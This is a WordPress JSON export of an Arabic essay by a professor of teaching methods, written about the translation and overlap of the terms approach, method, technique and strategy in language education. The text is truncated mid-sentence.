{"id":47467,"date":"2021-04-27T08:34:27","date_gmt":"2021-04-27T08:34:27","guid":{"rendered":"https:\/\/www.worldofculture2020.com\/?p=47467"},"modified":"2021-04-27T08:34:27","modified_gmt":"2021-04-27T08:34:27","slug":"%d8%a7%d9%84%d8%a7%d8%b3%d8%aa%d8%b1%d8%a7%d8%aa%d9%8a%d8%ac%d9%8a%d8%a7%d8%aa-%d9%88%d8%a7%d9%84%d9%85%d8%af%d8%a7%d8%ae%d9%84-%d9%88%d8%a7%d9%84%d8%b7%d8%b1%d9%82-%d9%88%d8%a7%d9%84%d8%a3%d8%b3-2","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=47467","title":{"rendered":"\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0648\u0627\u0644\u0645\u062f\u0627\u062e\u0644 \u0648\u0627\u0644\u0637\u0631\u0642 \u0648\u0627\u0644\u0623\u0633\u0627\u0644\u064a\u0628 \u0641\u064a \u0627\u0644\u062a\u0639\u0644\u064a\u0645 \u0628\u064a\u0646 \u062c\u0645\u0631 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0633\u064a\u0648\u0644\u0629 \u0627\u0644\u062a\u0637\u0628\u064a\u0642"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #666699;\"><strong>\u0623.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a \u0639\u0628\u062f \u0627\u0644\u0644\u0627\u0647| \u0623\u0633\u062a\u0627\u0630 \u0637\u0631\u0627\u0626\u0642 \u0627\u0644\u062a\u062f\u0631\u064a\u0633 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u064a\u0629 \u2013 \u062c\u0627\u0645\u0639\u0629 \u062c\u0646\u0648\u0628 \u0627\u0644\u0648\u0627\u062f\u064a<\/strong><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0638\u0644\u0644\u062a \u0641\u062a\u0631\u0629 \u0643\u0628\u064a\u0631\u0629 \u0645\u0646 \u0639\u0645\u0631\u064a \u0627\u0644\u0648\u0638\u064a\u0641\u064a \u0648\u0627\u0644\u0639\u0645\u0644\u064a \u0623\u062d\u0627\u0648\u0644 \u062a\u062c\u0646\u0628 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0643\u0644\u0645\u0629 &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629&#8221;\u060c \u0648\u0630\u0644\u0643 \u0644\u0645\u0627 \u0643\u0627\u0646 \u064a\u0639\u062a\u0645\u0644 \u0641\u064a \u0646\u0641\u0633\u064a \u062a\u062c\u0627\u0647\u0647\u0627 \u0645\u0646 \u0645\u0634\u0627\u0639\u0631 \u0645\u062a\u0636\u0627\u0631\u0628\u0629 \u062a\u0624\u0631\u0642\u0647\u0627 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0627\u0644\u062a\u062f\u0627\u062e\u0644 \u0628\u064a\u0646 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a\u060c \u062d\u062a\u0649 \u0625\u0630\u0627 \u062a\u0648\u0641\u064a \u0623\u0633\u062a\u0627\u0630 \u0639\u0632\u064a\u0632 \u0639\u0644\u064a\u0646\u0627\u060c \u0648\u0623\u0648\u0643\u0644 \u0625\u0644\u064a \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u062a\u062f\u0631\u064a\u0633 \u0645\u0642\u0631\u0631 &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633&#8221; \u0645\u0643\u0627\u0646\u0647\u060c \u0648\u062c\u062f\u062a \u0623\u0644\u0627 \u0645\u0641\u0631 \u0645\u0646 \u0627\u0644\u0645\u0648\u0627\u062c\u0647\u0629\u060c \u0648\u0644\u0639\u0644\u064a \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u0642\u0627\u0644\u0629 \u0623\u0646\u0641\u062b \u0628\u0639\u0636\u0627 \u0645\u0645\u0627 \u0623\u062c\u062f \u0641\u064a \u0646\u0641\u0633\u064a \u062a\u062c\u0627\u0647 &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a&#8221; \u0648\u0623\u062a\u0646\u0627\u0648\u0644 \u0623\u0633\u0628\u0627\u0628 \u0627\u0644\u062a\u062f\u0627\u062e\u0644 \u0648\u0625\u0634\u0643\u0627\u0644\u0627\u062a \u0627\u0644\u062a\u0631\u062c\u0645\u0629.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0623\u0648\u0644\u0627 \u0641\u0644\u0646\u0628\u062f\u0623 \u0628\u0645\u0627 \u0644\u0627 \u0645\u0634\u0643\u0644\u0629 -\u0643\u0628\u064a\u0631\u0629 -\u0641\u064a\u0647\u060c \u0648\u0647\u064a \u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0627\u0644\u0645\u062f\u062e\u0644\u00a0 approach\u00a0 &#8211; \u0648\u0627\u0644\u0628\u0639\u0636 \u064a\u062a\u0631\u062c\u0645\u0647\u0627 \u0627\u0644\u0645\u0630\u0647\u0628 \u0648\u0627\u0644\u0645\u0646\u0647\u0627\u062c-\u060c \u0648\u0627\u0644\u0637\u0631\u064a\u0642\u0629\u00a0 Method\u00a0 &#8211; \u062a\u064f\u062c\u0645\u0639 \u0639\u0644\u0649 \u0637\u0631\u0627\u0626\u0642-\u060c \u0648\u0627\u0644\u0623\u0633\u0644\u0648\u0628\u00a0 technique \u060c \u0648\u064a\u062a\u0635\u0644 \u0628\u0630\u0644\u0643 \u0643\u0630\u0644\u0643 \u0645\u0635\u0637\u0644\u062d \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a\u00a0 procedures.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u064a\u0630\u0643\u0631 \u0631\u064a\u062a\u0634\u0627\u0631\u0632 \u0648\u0631\u0648\u062c\u0631\u0648\u0632 \u0641\u064a \u0645\u0646\u0635\u0646\u0641\u0647\u0627 \u0627\u0644\u062a\u0627\u0631\u064a\u062e\u064a \u0627\u0644\u0641\u0631\u064a\u062f\u00a0 Approaches, methods and techniques in language teaching\u00a0 \u0623\u0646 \u0639\u0627\u0644\u0645 \u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u064a\u0629\u00a0 Edward Anthony\u00a0 \u0647\u0648 \u0623\u0648\u0644 \u0645\u0646 \u0641\u0631\u0642 \u0628\u064a\u0646 \u0647\u0630\u0647 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0641\u064a 1963 \u0628\u0639\u062f \u0623\u0646 \u0643\u0627\u0646 \u0627\u0644\u062e\u0644\u0637 \u0628\u064a\u0646\u0647\u0627 \u0643\u0628\u064a\u0631\u0627. \u0648\u0644\u0639\u0644 \u0623\u062d\u062f \u0623\u0633\u0628\u0627\u0628 \u0647\u0630\u0627 \u0627\u0644\u062a\u062f\u0627\u062e\u0644 \u0647\u0648 \u0627\u0644\u062a\u0641\u0627\u0648\u062a \u0641\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0637\u0631\u064a\u0642\u0629 \u0628\u0639\u064a\u0646\u0647\u0627\u061b \u0641\u0627\u0644\u0645\u062f\u062e\u0644 \u0627\u0644\u062a\u0648\u0627\u0635\u0644\u064a \u0645\u062b\u0644\u0627 communicative approach \u0623\u062d\u064a\u0627\u0646\u0627 \u064a\u0634\u0627\u0631 \u0625\u0644\u064a\u0647 \u0628\u0623\u0646\u0647 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u062a\u0648\u0627\u0635\u0644\u064a\u0629 communicative method \u0641\u064a \u062d\u064a\u0646 \u0623\u0646 \u0627\u0644\u0645\u062f\u062e\u0644 \u0627\u0644\u0637\u0628\u064a\u0639\u064a natural approach\u00a0 \u0644\u0627 \u062a\u0641\u0635\u0644 \u0641\u064a\u0647 \u0627\u0644\u0643\u0644\u0645\u062a\u0627\u0646 \u0623\u0628\u062f\u0627 \u0648\u0644\u0627 \u064a\u0634\u0627\u0631 \u0625\u0644\u064a\u0647 \u0623\u0628\u062f\u0627 \u0628\u0640 &#8220;\u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 &#8220;*natural method\u00a0 &#8211; \u0648\u0647\u0648 \u0645\u0635\u0637\u0644\u062d \u0627\u0633\u062a\u062e\u062f\u0645\u0647 \u0627\u0644\u0628\u0639\u0636 \u0644\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0645\u0628\u0627\u0634\u0631\u0629 \u0641\u064a \u062a\u0639\u0644\u064a\u0645 \u0627\u0644\u0644\u063a\u0627\u062a\u00a0 The Direct Method &#8211; \u00a0 \u0643\u0645\u0627 \u0623\u0646 \u0628\u0639\u0636 \u0627\u0644\u0637\u0631\u0627\u0626\u0642 \u062a\u0633\u062a\u062e\u062f\u0645 \u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0645\u063a\u0627\u064a\u0631\u0629\u00a0 \u0628\u062e\u0644\u0627\u0641\u00a0 method\u0645\u062b\u0644 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0635\u0627\u0645\u062a\u0629 Silent <\/span><b>Way<\/b><span style=\"font-weight: 400;\">. \u0648\u0645\u0646 \u0623\u0633\u0628\u0627\u0628 \u0647\u0630\u0627 \u0627\u0644\u062a\u062f\u0627\u062e\u0644 \u0623\u064a\u0636\u0627 \u0639\u062f\u0645 \u0627\u062a\u0641\u0627\u0642 \u0627\u0644\u0645\u0646\u0638\u0631\u064a\u0646 \u0644\u0637\u0631\u0627\u0626\u0642 \u0627\u0644\u062a\u062f\u0631\u064a\u0633 \u0639\u0644\u0649 \u062f\u0644\u0627\u0644\u0627\u062a \u062b\u0627\u0628\u062a\u0629 \u0644\u0647\u0630\u0647 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0627\u0644\u062b\u0644\u0627\u062b\u0629.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u00a0\u0648\u062a\u062a\u0645\u0627\u064a\u0632 \u0647\u0630\u0647 \u0627\u0644\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u062b\u0644\u0627\u062b\u0629 \u062a\u0645\u0627\u064a\u0632\u0627 \u0647\u0631\u0645\u064a\u0627 \u0639\u0646\u062f \u0623\u0646\u062a\u0648\u0646\u064a \u061b\u0625\u0630 \u064a\u0623\u062a\u064a \u0627\u0644\u0645\u062f\u062e\u0644 \u0623\u0648\u0644\u0627 \u0639\u0644\u0649 \u0631\u0623\u0633 \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0648\u0645\u0646\u0647 \u062a\u0646\u0628\u062b\u0642 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0648\u0645\u0646\u0647\u0627 \u064a\u0646\u062a\u062c \u0627\u0644\u0623\u0633\u0644\u0648\u0628. \u0641\u0627\u0644\u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062a\u062f\u0631\u064a\u0633\u064a \u0639\u0646\u062f\u0647 \u064a\u0642\u0648\u0645 \u0628\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0633\u0642 \u0628\u062f\u0648\u0631\u0647\u0627 \u0645\u0639 \u0627\u0644\u0645\u062f\u062e\u0644.\u00a0 \u0648\u0627\u0646\u0638\u0631 \u0625\u0644\u064a\u0647 \u0643\u064a\u0641 \u064a\u0639\u0631\u0641 \u0643\u0644 \u0645\u0646\u0647\u0627:\u00a0\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">&#8221; \u0627\u0644\u0645\u062f\u062e\u0644 \u0647\u0648 \u0632\u0645\u0631\u0629 \u0627\u0644\u062a\u0635\u0648\u0627\u0631\u062a \u0627\u0644\u0645\u062a\u0631\u0627\u0628\u0637\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0637\u0628\u064a\u0639\u0629 \u062a\u0639\u0644\u0645 \u0627\u0644\u0644\u063a\u0629 \u0648\u062a\u0639\u0644\u064a\u0645\u0647\u0627. \u0625\u0646\u0647 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0628\u062f\u0647\u064a\u0627\u062a \u0627\u0644\u0646\u0638\u0631\u064a\u0629. \u0648\u0647\u0648 \u064a\u0635\u0641 \u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u0645\u0627\u062f\u0629 \u0627\u0644\u062f \u0627\u0631\u0633\u064a\u0629 \u0627\u0644\u0645\u062a\u0639\u0644\u0645\u0629 &#8221;\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">&#8220;\u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0647\u064a \u0627\u0644\u062e\u0637\u0629 \u0627\u0644\u0643\u0644\u064a\u0629 \u0644\u062a\u0642\u062f\u064a\u0645 \u0627\u0644\u0645\u0627\u062f\u0629 \u0627\u0644\u0644\u063a\u0648\u064a\u0629 \u0628\u0634\u0643\u0644 \u0645\u0646\u0638\u0645 \u0648\u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u062a\u0639\u0627\u0631\u0636 \u0623\u062c\u0632\u0627\u0624\u0647\u0627 \u0628\u0644 \u062a\u062a\u0633\u0642 \u0641\u064a \u0645\u0628\u0646\u0627\u0647\u0627 \u0645\u0639 \u0628\u062f\u0647\u064a\u0627\u062a \u0627\u0644\u0645\u062f\u062e\u0644 \u0627\u0644\u0646\u0638\u0631\u064a. \u0641\u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0645\u062f\u062e\u0644 \u064a\u0645\u062b\u0644 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0646\u0638\u0631\u064a \u0641\u0625\u0646 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u062a\u0645\u062b\u0644 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0625\u062c\u0631\u0627\u0626\u064a. \u0648\u0628\u062f\u0627\u062e\u0644 \u0627\u0644\u0645\u062f\u062e\u0644 \u0627\u0644\u0648\u0627\u062d\u062f \u062a\u062a\u0639\u062f\u062f \u0627\u0644\u0637\u0631\u0627\u0626\u0642&#8221;\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">&#8220;\u0648\u0627\u0644\u0623\u0633\u0644\u0648\u0628 \u0647\u0648 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u064a &#8211; \u0648\u064a\u062a\u0645\u062b\u0644 \u0641\u064a \u0645\u0627 \u064a\u062d\u062f\u062b \u0628\u0627\u0644\u0641\u0639\u0644 \u0641\u064a \u0627\u0644\u0635\u0641 \u0627\u0644\u062f\u0631\u0627\u0633\u064a\u060c \u0648\u0647\u0648 \u064a\u0634\u0645\u0644 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0648\u0627\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u062a\u0628\u0639 \u0644\u062a\u062d\u0642\u064a\u0642 \u0623\u0647\u062f\u0627\u0641 \u0633\u0644\u0648\u0643\u064a\u0629 \u0645\u062d\u062f\u062f\u0629 \u0648\u0622\u0646\u064a\u0629. \u0648\u0644\u0627 \u0628\u062f \u0644\u0644\u0623\u0633\u0644\u0648\u0628 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0645\u062a\u0633\u0642\u0627 \u0645\u0639 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0648 -\u0628\u0627\u0644\u062a\u0627\u0644\u064a- \u0645\u0646\u0633\u062c\u0645\u0627 \u0645\u0639 \u0627\u0644\u0645\u062f\u062e\u0644) &#8220;<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u00a0(\u0642\u062f \u064a\u0647\u0645\u0633 \u0627\u0644\u0628\u0639\u0636 \u0623\u0646 \u0623\u0646\u062a\u0648\u0646\u064a \u2013 \u0627\u0644\u0644\u064a \u0623\u0646\u062a \u0641\u0631\u062d\u0627\u0646 \u0628\u064a\u0647- \u0647\u0648 \u0646\u0641\u0633\u0647 \u0627\u0633\u062a\u062e\u062f\u0645 \u0643\u0644\u0645\u0629 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0641\u064a \u0627\u0644\u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0623\u062e\u064a\u0631\u060c \u0641\u0645\u0627 \u062e\u0637\u0628\u0643\u061f \u0648\u0647\u0648 \u0623\u0645\u0631 \u0633\u0627\u0639\u0648\u062f \u0625\u0644\u064a\u0647 \u0644\u0627\u062d\u0642\u0627).\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0648\u0631\u063a\u0645 \u0648\u062c\u0627\u0647\u0629 \u062a\u0642\u0633\u064a\u0645 \u0623\u0646\u062a\u0648\u0646\u064a \u0625\u0644\u0627 \u0623\u0646 \u0631\u064a\u062a\u0634\u0627\u0631\u0632 \u0648\u0631\u0648\u062c\u0631\u0632 \u0631\u0623\u064a\u0627 \u0623\u0646\u0647 \u063a\u064a\u0631 \u0645\u0646\u0627\u0633\u0628 \u0644\u062a\u0648\u0636\u064a\u062d \u0627\u0644\u0639\u0644\u0627\u0642\u0627\u062a \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0648\u0627\u0644\u062a\u0641\u0627\u0639\u0644\u0627\u062a \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u0645\u062e\u062a\u0644\u0641\u0629 \u0648\u0623\u0646 \u0627\u0644\u062a\u0642\u0633\u064a\u0645 \u064a\u0628\u062e\u0633 \u0645\u0635\u0637\u0644\u062d \u0627\u0644\u0637\u0631\u064a\u0642\u0629\u00a0 Method\u00a0 \u062d\u0642\u0647 \u0641\u064a \u0628\u064a\u0627\u0646 \u0627\u0631\u062a\u0628\u0627\u0637\u0647\u0627- \u0648\u0634\u0645\u0648\u0644\u0647\u0627 \u2013 \u0644\u0643\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0633\u062a\u0648\u064a\u0627\u062a. \u0644\u0630\u0627 \u0623\u0642\u062a\u0631\u062d\u0627 \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0627\u0633\u062a\u062e\u062f\u0645 \u0643\u0644\u0645\u062a\u064a\u0646 (\u0627\u0644\u0637\u0631\u064a\u0642\u0629\u00a0 Capital M \u2013 Method) \u0648\u062c\u0645\u0639\u0647\u0627 \u0637\u0631\u0627\u0626\u0642\u060c \u0648(\u0627\u0644\u0637\u0631\u064a\u0642\u00a0 small m method) \u0648\u062c\u0645\u0639\u0647\u0627 \u0637\u0631\u0642\u060c \u062b\u0645 \u0645\u0627\u0644\u0628\u062b\u0627 \u0623\u0646 \u0639\u062f\u0644\u0627 \u0639\u0646 \u0630\u0644\u0643 \u0648\u0627\u0633\u062a\u0642\u062f\u0645\u0627 \u0645\u0635\u0637\u0644\u062d (\u0627\u0644\u062a\u0635\u0645\u064a\u0645\u00a0 Design)\u00a0 \u0644\u064a\u0639\u0628\u0631 \u0639\u0646 \u0627\u0644\u0637\u0631\u064a\u0642\u060c \u0648\u062d\u062a\u0649 \u0644\u0627 \u064a\u062d\u062f\u062b \u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u062e\u0644\u0637. \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0635\u0627\u0631\u062a \u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u0646\u0647\u0627\u0626\u064a\u0629 \u0644\u062f\u064a\u0647\u0645\u0627 \u0647\u064a \u0623\u0646 \u0647\u0646\u0627\u0643 \u0637\u0631\u064a\u0642\u0629 \u062a\u062f\u0631\u064a\u0633\u00a0 Method\u00a0 \u062a\u0634\u0645\u0644 \u0628\u062f\u0627\u062e\u0644\u0647\u0627 \u0625\u0637\u0627\u0631\u0627 \u0646\u0638\u0631\u064a\u0627\u00a0 Approach \u0648 \u062a\u0635\u0645\u064a\u0645\u0627\u00a0 Design\u00a0 \u064a\u0639\u0646\u064a \u0628\u0627\u0644\u0645\u062d\u062a\u0648\u0649 \u0648\u062a\u0646\u0638\u064a\u0645\u0647 \u0648\u0623\u062f\u0648\u0627\u0631 \u0627\u0644\u0645\u0639\u0644\u0645 \u0648\u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u0648\u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0648\u0627\u0644\u062a\u0642\u0648\u064a\u0645\u060c \u0648 \u064a\u0638\u0647\u0631 \u0641\u064a \u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0645\u062d\u062f\u062f\u0629 Procedures \u064a\u0645\u0643\u0646 \u062a\u0646\u0641\u064a\u0630\u0647\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0623\u0633\u0627\u0644\u064a\u0628 \u0645\u062a\u0639\u062f\u062f\u0629\u00a0 techniques.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0625\u0644\u0649 \u0647\u0646\u0627 \u0648\u0627\u0644\u0623\u0645\u0631 \u062c\u064a\u062f\u060c \u062b\u0645 \u062c\u0627\u0621 \u0639\u0627\u0644\u0645 \u0645\u0627 \u0628\u0639\u062f \u0627\u0644\u062a\u0633\u0639\u064a\u0646\u0627\u062a\u060c \u0648\u0638\u0647\u0631\u062a \u0641\u062a\u0631\u0629 \u0645\u0627 \u0628\u0639\u062f \u0627\u0644\u0637\u0631\u0627\u0626\u0642\u00a0 The Post-Methods era \u0648\u0647\u064a \u0641\u062a\u0631\u0629 \u0634\u0647\u062f\u062a \u0627\u0646\u062a\u0642\u0627\u0644 \u0628\u0624\u0631\u0629 \u0627\u0644\u0627\u0647\u062a\u0645\u0627\u0645 \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0645 -\u0627\u0644\u0630\u064a \u0646\u0639\u0646\u064a \u0628\u062a\u0642\u062f\u064a\u0645 \u0637\u0631\u0627\u0626\u0642 \u0627\u0644\u062a\u062f\u0631\u064a\u0633 \u0644\u0647 \u2013 \u0625\u0644\u0649 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u2013 \u0627\u0644\u0630\u064a \u064a\u062c\u0628 \u0623\u0646 \u0646\u0631\u0643\u0632 \u0639\u0644\u0649 \u0637\u0628\u064a\u0639\u0629\u00a0 \u062a\u0639\u0644\u0645\u0647\u00a0 student-centered approaches\u060c \u0648\u0628\u062f\u0623\u062a \u062a\u0638\u0647\u0631 \u0627\u0644\u0645\u062f\u0627\u062e\u0644 \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0639\u0644\u0649 \u0646\u0634\u0627\u0637 \u0627\u0644\u0645\u062a\u0639\u0644\u0645active learning \u060c \u0648\u0627\u062a\u0633\u0639\u062a \u062f\u0627\u0626\u0631\u0629 \u0627\u0644\u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u0628\u0646\u0627\u0626\u064a\u0629 constructivism \u0644\u062a\u0634\u0645\u0644 \u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629 \u0648\u0627\u0644\u062b\u0642\u0627\u0641\u064a\u0629 sociocultural \u060c \u0628\u0644 \u0623\u0639\u0644\u0646\u062a \u0628\u0639\u0636 \u0627\u0644\u0645\u0631\u0627\u062c\u0639 \u0627\u0646\u062a\u0647\u0627\u0621 \u0639\u0647\u062f \u0627\u0644\u0637\u0631\u0627\u0626\u0642 \u0648\u0628\u0632\u0648\u063a \u0639\u0647\u062f \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645\u00a0 learning strategies \u060c \u062d\u062a\u0649 \u0623\u0646 \u0627\u0644\u0627\u0633\u0645 \u0627\u0644\u0639\u062a\u064a\u0642 \u0644\u0644\u0642\u0633\u0645 &#8220;\u0627\u0644\u0645\u0646\u0627\u0647\u062c \u0648\u0637\u0631\u0642 \u0627\u0644\u062a\u062f\u0631\u064a\u0633\u00a0 Curriculum and instruction \u062a\u062d\u0648\u0644 \u0641\u064a \u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u062c\u0627\u0645\u0639\u0627\u062a \u0625\u0644\u0649 &#8220;\u0627\u0644\u0645\u0646\u0627\u0647\u062c \u0648\u0627\u0644\u062a\u0639\u0644\u0645\u00a0 Curriculum and Learning.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0648\u0627\u0644\u0627\u0633\u062a\u0631\u062a\u064a\u062c\u064a\u0629 -\u0643\u0645\u0627 \u0647\u0648 \u0645\u0639\u0631\u0648\u0641- \u0643\u0644\u0645\u0629 \u064a\u0648\u0646\u0627\u0646\u064a\u0629 \u0627\u0644\u0623\u0635\u0644 \u062a\u0639\u0646\u064a \u0627\u0644\u062e\u0637\u0629 \u0627\u0644\u0639\u0633\u0643\u0631\u064a\u0629 \u0648\u0647\u064a \u0645\u0634\u062a\u0642\u0629 \u0645\u0646 \u0627\u0633\u0645 \u0631\u062a\u0628\u0629 \u0627\u0644\u062c\u0646\u0631\u0627\u0644 \u0627\u0644\u0639\u0633\u0643\u0631\u064a\u0629\u060c \u0648\u062a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0637\u0628\u0642\u0627\u062a\u00a0 strata\u00a0 \u0645\u0646 \u0627\u0644\u062a\u062e\u0637\u064a\u0637 \u0648\u0627\u0644\u062a\u062c\u0647\u064a\u0632 \u0644\u0644\u062a\u0646\u0641\u064a\u0630\u060c \u0648\u0644\u0644\u0643\u0644\u0645\u0629 \u0648\u062c\u0627\u0647\u0629 \u0648\u0628\u0631\u064a\u0642 \u062c\u0639\u0644 \u0639\u0645\u0644\u064a\u0629 \u062a\u0639\u0631\u064a\u0628\u0647\u0627 \u0644\u0627 \u062a\u0642\u0627\u0648\u0645\u0647\u0627 \u0623\u064a \u0644\u0641\u0638\u0629 \u0639\u0631\u0628\u064a\u0629 \u0623\u062e\u0631\u0649 \u0623\u0635\u064a\u0644\u0629\u060c \u0648\u0647\u064a \u0645\u0646 \u0627\u0644\u0643\u0644\u0645\u0627\u062a \u0627\u0644\u0631\u0646\u0627\u0646\u0629 -\u0645\u062b\u0644 \u0627\u0644\u062c\u0648\u062f\u0629 \u0648\u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0648\u0627\u0644\u062a\u0642\u062f\u0645 \u0648\u0627\u0644\u062a\u0646\u0645\u064a\u0629 \u0627\u0644\u0645\u0633\u062a\u062f\u0627\u0645\u0629 \u0648\u063a\u064a\u0631\u0647\u0627 \u2013 \u0627\u0644\u062a\u064a \u0645\u0627 \u0625\u0646 \u062a\u0648\u0636\u0639 \u0641\u064a \u062c\u0645\u0644\u0629 \u062d\u062a\u0649 \u062a\u0642\u062f\u0645 \u062f\u0641\u0642\u0629 \u0645\u0646 \u0627\u0644\u062b\u0642\u0629 \u0648\u0627\u0644\u0631\u0633\u0648\u062e \u0648\u0627\u0644\u0642\u064a\u0645\u0629 \u0644\u0643\u0644\u0627\u0645 \u0627\u0644\u0645\u062a\u0643\u0644\u0645 \u0648\u0625\u0646 \u0643\u0627\u0646 \u0627\u0644\u0645\u0636\u0645\u0648\u0646 \u0644\u0627 \u064a\u0639\u0646\u064a \u0634\u064a\u0626\u0627.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u062d\u062a\u0649 \u0627\u0644\u0622\u0646\u060c \u0644\u0627 \u062a\u0648\u062c\u062f \u0645\u0634\u0643\u0644\u0629: \u0637\u0627\u0644\u0645\u0627 \u0647\u0646\u0627 \u0637\u0631\u0627\u0626\u0642 \u0648\u0645\u062f\u0627\u062e\u0644 \u0648\u0623\u0633\u0627\u0644\u064a\u0628 \u0644\u0644\u062a\u062f\u0631\u064a\u0633 (\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u0645\u0639\u0644\u0645) \u0648\u0647\u0646\u0627\u0643 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0644\u0644\u062a\u0639\u0644\u0645 (\u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u0645\u062a\u0639\u0644\u0645) \u0641\u0644\u0627 \u0628\u0623\u0633. \u0641\u0644\u064a\u0643\u0646 \u0645\u0627 \u064a\u0641\u0639\u0644\u0647 \u0627\u0644\u0645\u0639\u0644\u0645 \u0645\u0646 \u0637\u0631\u0627\u0626\u0642 \u0648\u0623\u0633\u0627\u0644\u064a\u0628 \u0625\u0646\u0645\u0627 